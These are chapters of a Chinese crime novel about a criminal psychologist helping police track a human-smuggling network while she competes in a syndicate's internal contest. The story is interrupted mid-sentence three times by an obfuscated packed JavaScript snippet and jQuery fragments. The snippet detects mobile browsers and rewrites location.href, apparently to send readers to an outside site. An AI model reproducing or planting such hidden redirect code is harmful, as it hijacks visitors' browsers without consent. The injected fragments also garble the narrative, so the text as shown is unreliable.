在江爸江妈不舍的目光中,江淮推门进了卧室。
关上门的那一瞬,手机发出震动轻响。
8. 相亲相爱一家人
江淮没有立即点开手机查看,而是洗漱完换上睡衣,给手机充上电,舒服地躺在床上后才点开【相亲相爱一家人】。
群主发了一条通知:汉尼拔死亡
【小丑女】:哇哦,这才两天,谁这么厉害?
【小丑女】:话说我还以为群里面都是什么厉害角色呢,没想到这么快就有人被干掉了
【小丑女】:没人说话?
【小丑女】:啧,你们可真没意思
【相亲相爱一家人】原本有七个人,现在只剩六个,群主不参加选拔,还剩下五位候选人。
群里的成员都是参加黑蛇集团高层选拔的,黑蛇集团高层人员都会获得一个代号,比如金蟾,比如黑蝎,一旦有高层死亡,下面就需要有人替补。
参加选拔的六人原本替补的是白鼠的位置,现在金蟾也被组织放弃,就有两个位置空了出来,虽然不一定都给他们,但起码多了一次机会,这次竞争失败了,可以参加下一次嘛,当然,前提是有命参加。
群里的六名成员的网名分别是:比利、小丑女、汉尼拔、爱德蒙、莫里亚蒂、皮格马利翁。
其中皮格马利翁是她的名字,希腊神话中的塞浦路斯国王,擅长雕刻,同时也是一个心理学名词,皮格马利翁效应,有所期望,便会发生。
小丑女,漫画角色,张扬、暴力、难以捉摸,心理医生,爱上了自己的病人。
汉尼拔,电影角色,食人魔,连环杀人犯,心理医生。
莫里亚蒂,著名侦探小说的反派,世界犯罪组织首脑,数学教授。
至于比利与爱德蒙,都是非常普通的人名,世界上与之重名的可能有成千上万,但,江淮发现叫这两个名字且比较有名的其中有两个很有意思。
比利,患有分离性身份障碍的病人,也就是俗称的人格分裂,因严重的童年创伤,分裂出了二十四个人格,其中几个人格犯下重罪,被警方逮捕,但因严重的精神障碍,最终被判无罪。
爱德蒙,一本近代名著主人公的名字,而这本名著的主题为:复仇。
说实话,进群后分析完所有人的网名江淮是沉默的,心理医生的犯罪比例是不是太高一些?作者们到底对心理医生有什么误解啊!
比利,她推测是宋扬,爱德蒙后来主动找她坦白了身份,汉尼拔死了,还剩下小丑女与莫里亚蒂不知道真实身份。
她几个小时前在船上遇到的青年绝对也是群里的人,一个感觉告诉她,这个青年就是死去的汉尼拔,可他是怎么死的?又是谁杀死的他?
【爱德蒙】:你杀的?
正思考着,爱德蒙单独给她发来了一条消息,一贯的简洁风格。
江淮心想这可真是不犯王法坐大牢——冤枉啊!
气冲冲地点进去敲字:不是
对面没有回复,空白的页面十分嘲讽。
放下手机,江淮倚着床头思考了一会儿,她现在已经知道了金蟾的身份,可金蟾的身份不简单,且作为黑蛇集团的高层,平时不可能没有防范,刺杀暗杀的成功率非常低,她不能急在一时,轻举妄动。
群里其他成员的进度不会比她慢,但想要杀死金蟾一两天是办不到的,不如让他们先去探探,而她则可以引导警方去思考那个方向,还有宋扬,明天需要去打探一下...
想着想着,困意上来,江淮滑进被子里闭上眼睛,任由自己沉入梦乡。
......
“叩叩。”
病房门被敲响,里面传出一道懈怠无力的少年声音,“请进。”
江淮推门,懒懒躺在床上的宋扬看到来人后猛地弹起身,声音变得惊喜而雀跃,眼睛亮亮地看过去,“淮姐,你怎么来了?”
“怕你无聊,来看看你,身体怎么样?”将买来的水果切放在桌子上,江淮捞过一个板凳坐到床边,摆出聊天的架势。
“没什么大碍,我觉得过两天我就能出院了,而且”宋扬俯下身子,压低声音偷偷摸摸道,“这住院就跟烧钱一样,每天钱哗哗往外流啊,流得我心急火燎的,比骨折还疼。”
江淮笑出声,微挑眉梢,“你个财迷,身体不比钱重要?伤筋动骨一百天呢,住院费我爸不是给你交了吗,你也别惦记着还,你救我一命,这都是应该的,你非要还我们才难受。”
“这,”宋扬抬起手挠头,神色有些别扭,“我不是这个意思,我就是省钱省习惯了,而且你们的钱也是钱嘛,这都是没必要的花费。”
“好了。”江淮抬手,表情无奈,“别讨论这个了,你一直躺着无聊吗,我帮你把电视打开?”
“不用,我这两天好多了,能刷手机,躺着玩手机挺安逸的,时间一眨眼就过去了。”宋扬忙伸手阻止她的动作,又聊了两句其他的,才吞吞吐吐地问,“那个淮姐,你这两天这么忙,是因为那件事吗?”
“不是,那个案件不是白港市的公安负责,而且已经结案了,我现在忙的是另一起案件。”江淮微微正了神色,认真看着宋扬的眼睛道:“我知道你在想什么,王典的死跟任何人都没有关系,是他自作自受,法律判你无责,你别给自己强加负担。”
宋扬垂眼,手指抓着白色被角道,“我不觉得自己有责任,我就是想问一下,他母亲,现在怎么样了?”
“很早就去世了,在她宣称与儿子断绝关系后不久。”江淮也有些唏嘘,单亲贫困家庭走出来,成为获得过功勋章的武警,原本是个励志故事,谁能想到最后是这样的下场呢。
可怜之人必有可恨之处,可恨之人必有可悲之苦,很适合形容王典。
“我...”
“我警局还有事情,就先走了。”江淮站起身,听见宋扬的声音又回头看去,疑惑地问,“怎么了?”
“...我没事,淮姐你注意休息,别太辛苦了。”宋扬回神,把准备好的话咽回去。
江淮若有所思地看他一眼,道:“有事就给我打电话,别什么事都憋在心里,我走了。”
宋扬愣愣地望着江淮关门出去,病房门彻底被关上的那一瞬脑海里又一次响起那道冷漠的声音,“蠢货。”
他低下头,因为一只手骨折连抱脑袋的动作都做不到,只能把脸陷进被子里,兀自迷茫绝望。
从医院离开后,江淮直奔警局,刚走进一楼,就看见领导们围着一群人在寒暄说笑,那群人有男有女,穿着警服一样的正式服装,只是颜色款式跟他们的不一样,个个脸色严肃。
见孔宣站在人群,江淮走过去低声问,“这什么情况?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642313|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
T国派的人过来了。”孔宣双手插在白大褂里,淡淡回道。
呦,其他国家来的警察,这可是贵宾,怪不得这么多领导。
“可不是嘛,专门过来监督我们的,怕我们草草了事,坏了他们声誉。”戚言抱臂站在一旁,冷眼望着那边。
“哎呀,话不能这么说,本来就是国际案件嘛。”二队长郑春生捧着泡着茶叶的保温杯喝了一口,慢悠悠道:“国际刑警那边已经成立了专案组,那边直接跟外交部交涉呢,我们这算啥,不过就是个陪跑的,要不是案件发生在白港市,哪有我们的事儿啊。”
江淮左右看了一圈,没见严钧的影子,问道:“严钧人呢?”
“躲起来了呗,这群人来了肯定要跟着一起调查,他害怕局长把麻烦推给他。”戚言冷笑一声,抱着看好戏的心态。
江淮闻言狐疑地看向戚言与郑春生,满目怀疑,“既然如此,你们怎么不躲?”
共事了这么久,她早摸清了这几个队长的脾性,重案大案没有退缩的,遇到疑难杂症戚言与严钧一个比一个积极,可若是其他事情上的麻烦,比如报告申请什么的,个个跑得比兔子还快,其中郑春生这个老油条更是推诿的好手。
郑队长又抿了一口热茶,笑呵呵开口,“擅长外语的白警官在严队长手下,此事非他不可呀。”
江淮听完也笑了,看来严钧不当这个大冤种是不行了。
几人聚在一起幸灾乐祸,谁料最先遭殃的不是严钧,而是站在他们中间的法医孔宣,只见中间寒暄的人忽然都朝这边看来,其中一位领导笑容满面地对他们招手,声音和蔼,“孔法医,来来,过来一下,我给你介绍介绍。”
在领导们看过来之时,戚言以迅雷不及掩耳之势放下抱着的胳膊,肃容立身,郑春生立即拧上茶杯盖,收起自己的悠闲做派,连江淮这个编外人员也莫名紧绷了身体,三人一起目送面不改色的孔宣走过去。
被领导喊过去的孔宣身上依然散发着高不可攀、老娘独美的气势,但面上神情与目光却没有故作的清高与冷淡,旁人只觉得她的气质实在独特,而生不起什么厌恶之感,江淮对她的面上功夫无比佩服。
“这位是T国专程派来的法医,很有经验,这次过来除了查案也是交流学习的,人家跋山涉水来一趟不容易,我就把他们交给你了,你多帮助。”
领导对孔宣说完,转身又看向那位T国法医,热情介绍,“这是我们局里唯一的一位法医,年轻有为,学识丰富...”
江淮、戚言、郑春生三人趁着这个机会偷偷溜走了。
果不其然,T国来的警察有一部分被分派给了严钧,可看戏的戚言和郑春生也没能躲过去,他们只想到白警官会外语,没想到人家自带了几个翻译。
T国警察到了Z国就失去了所有权利,再加上一口咖喱味的Z语没有人理会,只能紧跟着白港市公安一起查案,他们是过来监督的,自然要面面俱到,不可能只跟一个方面。
今天主要有两个任务,一是带着罗自强前往水边寨认人,二是追查另外两名司机,严钧负责的是第一个任务。
任务分下来后,江淮主动找到严钧,他正为几位咖喱警察而头疼。
江淮走去过,说了三个字,让他的头疼更上一层楼。
9. 黄狗叔
“我也去。”江淮说。
“你来凑什么热闹?”严钧眉头深蹙,语气有些不太好,今天他们是去指认嫌疑人,因此穿的是普通常服,淡蓝色衬衫,黑色长裤,所有人的衣服都一样,但穿在严钧身上有种说不出的好看。
严钧是剑眉深目,五官硬朗,正气十足,板起脸训人时颇能唬人,普通警员见他这样,都立正了身子大气不敢出,乖乖听训,江淮却抬眼,审视般看了他几秒,冷下声音道:
“严钧,你的大男子主义又犯了。”
瞬时一股电流从脚底冲到头顶,严钧表情空白,感觉到微弱的电流在指尖流窜,想起他和江淮的第一次争吵。
那是顾麟因公牺牲后不久,江淮主动申请到局里做犯罪心理顾问。
这件事出乎严钧的意料,可也能理解,她出于自身意愿走正规渠道进来,没什么可劝的,可他没想到之后江淮数次要求出现场,并在一次抢劫案中差点受伤,于是他终于爆发:
“江淮!你能不能别那么冒进?!”
“他手里握的刀看不见吗?你担心自己死得不够快?你只是一个犯罪心理顾问,待在局里就行了,为什么偏偏要跑来现场?”
他的突然爆发令现场猛得静下来,针落可闻,江淮当时一愣,看向他的目光一点一点冷下来。
严钧深呼吸,努力压下自己的脾气,“我知道顾麟的牺牲你难以接受,大家心里都不好受,可没有谁像你一样不顾自己的安全,你这样做没有任何意义,只会给我们带来麻烦!”
“你在睁眼说什么瞎话?”
严钧生气时像火山爆发,令人胆战心惊,不敢言语,江淮却能一句话把人带到冰天雪地,寒气深深钻到骨缝里。
“你难道看不见他马上就伤到人了?我距离最近,伸手阻拦有什么错?”
“我是心理医生,可现在也是警局的一员,谁规定了我只能待在办公室?法医能到现场、犯罪侧画师能到现场、痕迹专家能到现场、辅警能到现场,甚至社区的都能到现场,我为什么不能?”
“你觉得我是能算命还是怎么样?嫌疑人坐到我面前,看看他的面相,跟他说两句话我就能知道他的一切?我需要大量的观察,要知道他的第一反应,要看到现场所有真实的细节,这些都不是我坐在办公室能得到的。”
“我出现场是打过报告经过局长同意的,你一个队长凭什么要求我回去?”
“再说,我有过分要求过什么吗?有拖累过谁吗?我有要求你对我的生命安全负责吗?我今天就算死在这里,跟你又有什么关系?”
“江淮!!”江淮越说越严重,严钧一声暴喝阻止她后面的话,众人被他吓得心里一颤,想要开口调和,却被他们之间的氛围吓得不敢开口。
江淮的连续反问被严钧打断,他咬牙紧绷着一张脸道:“我是队长,对警局所有警员的生命安全负责,你可以觉得自己的生命不值一提,但这里没有人会眼睁睁看着自己的同伴置身危险而漠视不救。”
“你陷入危险,就等于同伴陷入危险。”
“是,我知道大家重情重义,可办案不就是这样吗?有几个刑侦勘查员没有遇到过危险?为了追捕罪犯而冒险,为了保护人民而冒险,这都是不可避免的事情,难道是我故意把自己置身危险吗?”
江淮没有妥协,比赛似的跟严钧瞪眼,话语如疾风骤雨,“我跟着你们不过几个月,就看到了很多次类似的事情,老陈、小赵、白警官,都曾为抓捕罪犯或救人而受伤,你为什么不让他们回警局坐到办公室去?我跟他们有什么不一样?”
被江淮点到名的警员都身体一绷,有种被老师点到名的尴尬,他们只想吃瓜,没想被牵扯进去啊。
“尤其是你,严钧。”江淮定定地看着他,一字一顿念出他的名字,“你才是那个置身危险次数最多的那个人,才是那个最不把自己生命当回事的人,你不顾一切去救别人,却要求别人不去救你,这是什么道理?”
“你可以置身危险,别人却不能,这又是什么道理?”
“你是队长,你觉得能力越大责任越大,你想要扛起大旗没人拦着你,你也别拦着别人行吗?不是只有你能当英雄。”
“还是说你觉得我是个花瓶?打心底里看不起我?”
哎哎,这句话就有点严重了啊,白警官瞅准时机跳出来劝解,赔着笑道:“队长他没这么想,江医生你的能力大家都是有目共睹的,队长他就是太关心你,又不会说话,你别跟他一般见识...”
江淮抬手示意他不要掺和,今天她必须把话说明白,白警官很有眼色地闭嘴到旁边去了,旁边警员都眼观鼻,鼻观心,只当自己是透明人。
这多大点事儿啊,明明说的话透出的都是关心对方的意思,怎么就吵得这么凶?
严钧确实不太会说话,上面的争吵几乎是他的极限,在意识到自己有些话真的说错了后便有些语无伦次,“我从没这样认为...对不起,我不该说那样的话,你没有受过专门的训练,我就是担心...顾麟已经牺牲了,我不能再让你...”
他不说还好,一说就精准踩到江淮的雷点上。
“别拿顾麟来压我!”
江淮厉声大喊,有些失态地后退两步,偏头将眼泪逼回去,压着颤抖的声音道:“他们都让我看开点,让我放下过去,可这里最看不开的明明是你严钧!”
“因为顾麟的牺牲你们对我多有关心我能理解,想要我保护我不受伤害我非常感激,但这不意味着你可以拿这个当借口来限制我的行动,干预的我的决定。”
“我是个成年人,我对我说过的一切话做过的一切事负责,我清楚地知道自己在做什么,清楚它有多大风险,你应该最理解我的心情,有些事情远比自身安危更重要。”
“顾麟,已经死了,就算还活着,他只会与我并肩,而不是阻拦。”
话说到这里,可谓是句句诛心,字字泣血,撕心裂肺的疼痛通过她的肢体动作,通过她倔强的神情,通过她颤抖的嗓音传达给在场每一个人。
他们沉默,眼眶不知何时也红了,想起那些逝去的队友。
甩下最后一句话,江淮转身就离开了,此后的三年时间里,江淮与严钧再没有过任何争吵,而江淮也因为这件事彻底融入警局。
记忆中江淮转身远去的身影渐渐消失,僵硬的血液再次流动,站在车头前的严钧抬手揉了揉太
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642314|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阳穴,声音疲惫,“抱歉,我最近精神太紧绷了。”
这几天高强度的工作对严钧来说其实不算什么,主要是案件牵扯到了黑蛇集团,还有前两天的坠楼,王典所在的诈骗团伙处于黑蛇集团势力范围,也许他本人也是黑蛇集团的一员,认识黑蝎不算奇怪。
可黑蝎是怎么知道当年差点拦下自己的警察叫顾麟?又怎么知道江淮和顾麟曾经是恋人?
黑蝎这些年害死的人不知有多少,想杀死他的人不计其数,他没有道理去打探一个死去的警察的恋人,因为江淮跟警局有联系所以盯上她了?他是不是在酝酿什么针对江淮的阴谋?
疑问化为恐惧,严钧直觉最近发生的事情不简单,却又担心是自己太过紧张的错觉,一切有关江淮的事情,他都风声鹤唳,草木皆兵。
江淮绕过他坐上车,上了白警官与那群咖喱警察所在的车辆,严钧深出一口气,钻进罗自强所在的警车。
几辆警车低调地朝水边寨驶去,据罗自强交代,那是一个看上去七十岁模样的老人,身高在一米六五上下,中度驼背,皱纹堆积,一双眼睛老鼠一样精明,之前在一片荔枝林进行交接。
水边寨目前被严密看守,任何人外出都要经过检查,鼓励村民举报,提供有效线索可获奖金,昨晚警局跟村委进行过沟通,让他们今天带着去找人。
一个多小时后,警车进村,村长与村支书带着一群人在村口等待。
严钧压着罗自强走下警车,村长弓着腰走上前,赔笑道,“几位警官,村里符合描述的基本都在这儿,您看看有没有您要找的?”
江淮一看,三四十个老人聚在一起站着,有的新奇,有的紧张,有的坦坦荡荡,大部分穿着暗调的灰黑色衣服,普遍瘦骨嶙峋,皮肤松弛,眼睛浑浊,他们站在那里,宛如一捆潮湿发霉的腐木。
罗自强说那人看着七十左右,但实际可能不是七十,农村人显老,或者说越穷越显老,也许他不过六十、五十。
水边寨几百户人家,空巢现象严重,年轻人多外出打工了,村里以六七十老人与四五十岁的妇女为主,符合条件的人特别多,可罗自强一个个看过去,却没有一张能完全与脑海中那张脸对上。
他见过那位老人很多次,对他的眼睛印象深刻。
站在最后一位老人面前,罗自强还是摇头。
“你确定没有?”严钧皱眉问。
在罗自强指认的过程中,一旁的江淮注意到村长搓手的动作越来越频繁,肩膀与腰也不自觉低下来,是明显心虚的表现。
她上前半步,温和地问:“村长,你确定所有人都在这里了吗?”
“这,这...”村长止不住地搓大腿两边的衣服,目光闪躲。
“别担心,我们不怪您。”江淮神色柔和,以一种让人卸下心防的声音道:“有什么困难您可以直接说出来,警民一条心,办案最怕的就是隐瞒。”
“这个人大概率是您村庄的,您心有不忍我们能理解,但也不用太担心,他做的事情不算严重,关不到监狱去,我们就是找他了解下情况。”
在江淮的劝解下,村长终于开了口,直拍自己的大腿,“哎呀!黄狗叔他糊涂啊!”
10. 狗蛋别死
“黄狗叔!”
“黄狗叔你出来吧,别藏了!”
“黄狗叔!警察说不抓你,你出来吧!”
深山树林里,水边寨老老少少齐上阵,山谷与树林到处都回荡着村民对黄狗叔的呼喊。
昨晚,村长接到警察的消息后就挨家挨户通知,让符合条件的人明天集合,结果找到黄狗叔家空无一人,当时是深夜,村民绝大多数都上床休息了,黄狗叔家却没有人,很引人怀疑。
黄狗叔是村长的小叔,碍于亲缘他没有立即上报,今早再去,还是没有人,村长这时基本确定黄狗叔身上有问题了,但还是抱着侥幸心理,万一不是他呢?
重要的是警察只让他明天带路,没让他把人聚起来,是他的擅自行动打草惊蛇,黄狗叔听到风吹草动才连夜离开,他害怕担责。
警察确实封了路,可也只封了路,没路的地方一个人目标小很容易就能溜出去,水边寨接水连山,大路朝向渝水,黄狗叔想要无声无息地摸出去只能走果林,而果林连着的是数重大山。
山中多蛇虫,夜晚寒凉,普通人进去很难活下来。
“黄狗叔家里是什么情况?”
事到如今,他们只能采用人海战术进山搜人,江淮一边爬山一边问旁边陪同的村长,村长五六十岁的模样,身材短小精悍,爬起山来步履比江淮这个年轻人还轻松许多。
“黄狗叔孤家寡人一个,早年有个妻子,后来离婚了,无儿无女,晚年没有人照顾,只能靠那一亩三分地过活。送人这事吧,我不瞒您说。”村长驼着背压低了声音,“附近村里大部分人都这样干过,这里是两国边界,我们都习以为常了啊。”
“而且黄狗叔他没有文化,可能就是以为帮忙接送个人,我们真不知道这事儿这么严重,您看,这事儿有没有回转的余地?”
村长试探地瞅着江淮,话中都是求情推脱,姿态放得很低。
江淮一听就知道他们误会了,过来打探口风呢,笑笑安他的心道:“您老放心,这件事跟大家没关系,跟黄狗叔关系也不大,就是倒霉,他送的人在路上被车闷死了,死了不少呢,出了这么多人命警察不能不重视啊您说是不是?”
“这事儿虽然是偷渡引起的,但我们要抓的只是组织偷渡的蛇头,找黄狗叔是想问问他平时把人送去了哪里,就算他违法了,这么大年纪我们也不能把他关进监狱里不是?他现在跑进山里反而是送命啊。”
“是啊是啊,这都是误会。”村长不住地点头,暗暗松了口气,对江淮的态度更加热络。
江淮微微笑着,一路跟长辈话聊家常一样,“村长你刚才说黄狗叔孤家寡人,那他年轻的时候是做什么的,离婚后怎么没有再娶?”
“年轻时候啊,年轻时候黄狗叔是打猎的,你知道我们这边都是山区,那野兽山珍啊早年很多,那时候国家还没有禁止打猎,黄狗叔当年是个中好手,卖兽皮卖了不少钱呢...”
“打猎?他手中还有猎枪?”江淮停下脚步,脸色微变,立即打断他的话。
“这...”村长也意识到了问题,犹豫着说,“当年禁枪的时候都要求上交,到处宣传,我们村交枪特别积极,黄狗叔也上交了几把。”
交了不意味着没留,万一他偷藏了一把了呢?现在黄狗叔正在逃亡,情绪非常容易陷入极端,如果觉得自身受到了威胁,很大可能开枪。
“这件事情很严重。”留下一句话,江淮马上跑到严钧身前说明情况,他立即下令召回村民,请求局里支援。
村民被要求远离山林,局长从其他县市调来了一批民警搜山,大概百十号人。
百十号人听着挺多,但散进山里如泥牛入海,看不到一点人影,黄狗叔是村里人,还是个猎户,对山里环境再熟悉不过,一时半会儿真找不到他,这一搜就搜到了半夜。
江淮没有配枪,只能老老实实跟在严钧身边,两人都拿着个强光手电筒,在深山老林里排查摸索。
一位文化程度不高的老人,在以为自己会被关进监狱的情况下跑进深山老林,他之后会怎么做?寒夜一人面对无数大山时他会想什么?
他出于恐惧逃跑,但很快就会意识到自己逃跑也没用,就算走出了大山,他在外面没有身份怎么生活?他老了,连力气也没有了,打黑工别人都不会要他,他只能流落天桥乞讨为生,吃不饱穿不暖,任何小病都可能要了他的命。
他会慢慢感到绝望,失去逃跑的动力,失去生命的希望,当他彻底灰心时,面临的只有两个选择,一是返回自首,被警察逮捕,二是原地开枪自杀,体面地死去。
江淮努力带入黄狗叔的视角,认为他不会跑太远,但判断不出他会往哪个方向跑,人是神经紧绷时很难保持理智,大概率会像一只无头苍蝇乱撞。
哎,现在只能祈祷黄狗叔更怕死吧,不然线索就断了。
“嘻嘻...”
“江淮,等等。”身后的严钧突然出声叫住她,江淮疑惑回头,“怎么了?”
“你有没有听见什么声音?”严钧站在原地,侧耳倾听,声音沉冷,“好像是小孩子的笑声,很尖利。”
忽然一股寒风从背后袭来,江淮顿时起了一身的鸡皮疙瘩,周围环境寂静,可以清晰地听到自己的呼吸与心跳,伸手不见五指的黑暗如坠深渊,手电筒的白炽光落在严钧脚下,使他的皮肤苍白如纸。
氛围突然惊悚,江淮的笑音有些不稳,语气勉强,“严钧,你不要现在讲鬼故事。”
然而严钧是一个坚定的唯物主义战士,坚定地打击了江淮的封建迷信,蹙眉道:“不是,真的有,你过来这边就能听到。”
秉持着对严钧的信任,江淮慢慢走过去,快到身前时,竟然真的隐隐约约听到了孩童嬉笑声,是从风里传过来的。
“夜里深山哪来的孩子?”江淮皱眉疑问。
“应该是山下村民的,这下又有麻烦了。”严钧沉声猜测。
天大地大,生命最大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642315|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,江淮与严钧只能放弃黄狗叔先找孩子,风里孩子的嬉笑声时断时续,他们朝着声音传来的方向追去,大声呼喊。
在两人前面几百米,四个半大小孩儿走走停停,爬上爬下,两男两女,两个女孩儿六七岁模样,最大的男孩儿看上去不过十一二岁。
走了这么久,几人都很累了,其中一个年纪小点的男孩儿打了退堂鼓,对年纪最大的男孩道:“狗蛋儿,要不我们回去吧,这也太累了。”
“不行,现在回去前面不白走了?”狗蛋回头,坚定地否决,“你学学你妹妹,她们都没叫苦呢,你先叫上了。”
“你相信我,我真的知道黄狗叔在哪,之前他打猎的时候带我去过那个地方,特别隐蔽,他一定会去那里的。”
“万一他没去呢,还是交给警察吧,他们一定会找到黄狗叔的。”年纪更小的男孩有气无力地劝说。
“马上就到了,你们再坚持一下,你忘了我们进来是为什么?就是为了赶在警察之前找到黄狗叔,你不是想当警察嘛,这是个立功的好机会啊。”狗蛋儿的声音兴奋,一点看不出走了十几公里的山路。
其他人还是被他说服了,几人又走了一段路,狗蛋儿忽然兴奋大叫,“唉唉唉,你快看那,那有光!我就说黄狗叔一定在那吧!”
铁牛顺着狗蛋指的方向看过去,却只看到一丛茂密的灌木,正想生气,一点莹白的光点从眼前晃过去,他的眼睛也骤然睁大,四人加快速度,在狗蛋的带领下朝灌木走去。
“喂!那几个小孩儿!你们站住!”
江淮与严钧终于从后面赶上,严钧喘着气大喊,看到四个小小的身影隐入灌木丛,吸一口气准备再喊,前面突然响起一声尖叫。
严钧面色骤变,大步朝那个方向跑过去,过了两秒,一声惊破山林的枪响,最坏的情况出现了。
江淮在后面跟上,等两人赶到时,只见一个小孩儿哭喊着倒在地上,三个小孩儿焦急地围着他,对面山洞冲过来一位面容沧桑的老人。
如果不是老人把猎枪丢在了地上,严钧就拔枪指向他了。
两个女孩拿着小小的手电筒惊慌失措,一个男孩儿扑到地上孩子身上涕泗横流地哭喊:“狗蛋!狗蛋你不要死啊狗蛋,你死了我爹会打死我的!”
江淮挤过密集的灌木,强手电照过去,一切都变得明亮,她眼尖地看到地上有一条蠕动的长蛇,脑袋下面被猎枪打出一个血洞,正在嘶嘶挣扎。
丢下猎枪跑过来的老人完全没有注意陌生的严钧与江淮,弯下腰一把抓住地上半死不活的长蛇,仔细一看,花色斑斓,头部呈三角形,是一种剧毒的蛇类。
老人脸色铁青地背起地上的孩子,步履蹒跚地朝山外跑去。
江淮与严钧判断这个老人就是他们要找的黄狗叔,但这种情况也顾不得抓人了,江淮马上打了救援电话,而严钧则立即上前把孩子背到自己身上,黄狗叔跑在前面指路。
几人一路疾驰,朝山下赶去。
11. 顾医生
深夜凌晨,一位健硕的年轻男子抱着一个半大孩子急匆匆跑进医院大厅,引来病人与家属们的注目。
那男子身后还跟着一个上了年纪的老头与一位年轻女子,面上也都是焦急,这种紧急情况几乎每隔几日就会在医院上演,没什么稀奇的,但...后面又紧接着追上来一群穿着警服的警察就难得一见了。
“蛇毒疫苗到了没有?”
“马上,三分钟!先给这孩子消毒。”
接到电话的医院早早派了医院护士在大厅等待,人一到立马就把医疗床推了过去,严钧立即把孩子交给医院,后面追上来的警察则不动声色地围住中间的黄狗叔。
“啥情况啊这是?”
“妈妈快看,是警察叔叔!”
人群发出骚动,许多人举起手机进行拍摄。
被警察围在中间的黄狗叔背影寥落,还愣愣看着医生们推着狗蛋消失的方向。
“黄狗叔,您别紧张。”江淮从黄狗叔身后走到他身侧一米的地方,注视着他苍老的眼睛温声安抚,“您今年七十六岁了吧,法律规定您这样年纪的人违法犯罪是会减轻处罚的,况且你的违法行为轻微,原本就够不上坐牢,我们不会抓您,就是找您了解一下情况。”
“你不必再说,我都认罪。”黄狗叔抬眼,沉沉吐出一口气,摆手说道,一副认命的姿态。
闻言,两名警察上前将黄狗叔铐上带走,江淮与严钧跟着一起回到警局。
所有警察都离开后,医院大厅瞬间炸开了锅,白港市居民的朋友圈又多了一件热闹事儿。
半小时后警局审讯室,黄狗叔坐在了审讯椅上,江淮站在他面前不远处,专门负责审讯的张警官将主场让给了她。
“黄狗叔,当初给您介绍这活儿的人您还记得吗?见过他真人吗?”
黄狗叔十分配合地点头,“记得,他是个中年人,说着我们当地的土话,看着很老实,他当时是直接过来找我的,开始用问路的借口,问完了却不走,开始问我怎么生活,一年收成多少,我没多想,只当普通聊天。”
“后来他却说可以给我介绍个活儿,就是定时收留一群人,找地让他们住一晚上,一次给五百,我心想哪有这好事,但他当场就先给我转了两百,我就信了,后面也发现了不对劲,但我干都干了,又没有收入,五百就够我生活一个月呢...”
江淮耐心听他讲完,然后才问,“那人长什么样还记得吗?”
“他啊。”黄狗叔回忆着道:“长得没什么特别的,个子不高,不胖也不瘦,皮肤跟酱油一个色,眼睛...眼睛挺小的,看着老实憨厚一个人。”
“是不是长这样?”江淮把手机里金叔的照片调出来拿给黄狗叔看,黄狗叔一看立即点头,“对对,就是他,他就长这样。”
“是金叔。”江淮低声对耳麦道,随后耳麦里传来白警官的声音,“那这事不就又拐回去了吗?金叔已经逃了啊,我们白忙活一场。”
“怎么会。”江淮弯起嘴角,“白警官,麻烦你进来一趟。”
“我?叫我进去做什么?”白警官虽然疑惑,但立即就推开了监控室的门朝审讯室走去,在走廊路上听见江医生解释,“黄狗叔收留他们一晚,他们不可能一晚上一句话都不讲,而我们下面的国家都是一个国家一个语言,这还不好分辨吗?”
“唉我去,医生的脑子就是好使。”白警官激动起来,加快步伐进入审讯室。
Z国南边的邻居一共就那么几个,全部试过来速度也很快。
白警官先说了几句Y国语,黄狗叔听着摇了摇头,“不像。”
接着是T国语,黄狗叔还是摇头。
“soyo,我就说肯定不是我们国家的人啦~”耳麦里,那位T国来的翻译小哥突然惊喜出声,声音带着特有的妩媚婉转,所有戴着耳麦的人此刻都一激灵。
白警官都沉默了一下,接着当什么都没有发生地继续问。
转为M地区的语言,不是;X国,还不是。
白警官犹豫了一下转为L语,这回黄狗叔点头了,“对,好像就是这个,我听着很像。”
黄狗叔点头了,其他人却沉默了,沉默得可怕。
白警官与江淮忍不住对视,皆从对方眼里看出两个字:操蛋。
两个小时后,一队的戚言队长也带回来了好消息,而且是两个。
第一,两个司机抓住了,第二,一家偷渡者中途出了意外没来得及散开,人给带回来了。
回来后,戚言意气风发地走进会议室,却发现里面气氛有种莫名的压抑,每个人都面容严肃,没有人说话。
“怎么了这是?人抓到了不高兴吗?”戚言诧异地问,开口询问,结果却没人回复她,戚言微不可察地皱了下眉,用胳膊肘捅身边的老郑,用眼神问:什么情况?
“咳。”郑春生尴尬地咳嗽了一声,假作镇定地看向上方的马局长,委婉地问:“局长,现在查到偷渡者大概率来自L国,您看我们现在?”
L国!戚言一惊,总算知道会议室为什么这么安静了。
L国国情复杂,与邻国处于紧张、随时都会开战的状态,全国实行军事化管理,国内对人口控制严格,如未经允许出国视为叛国处理。
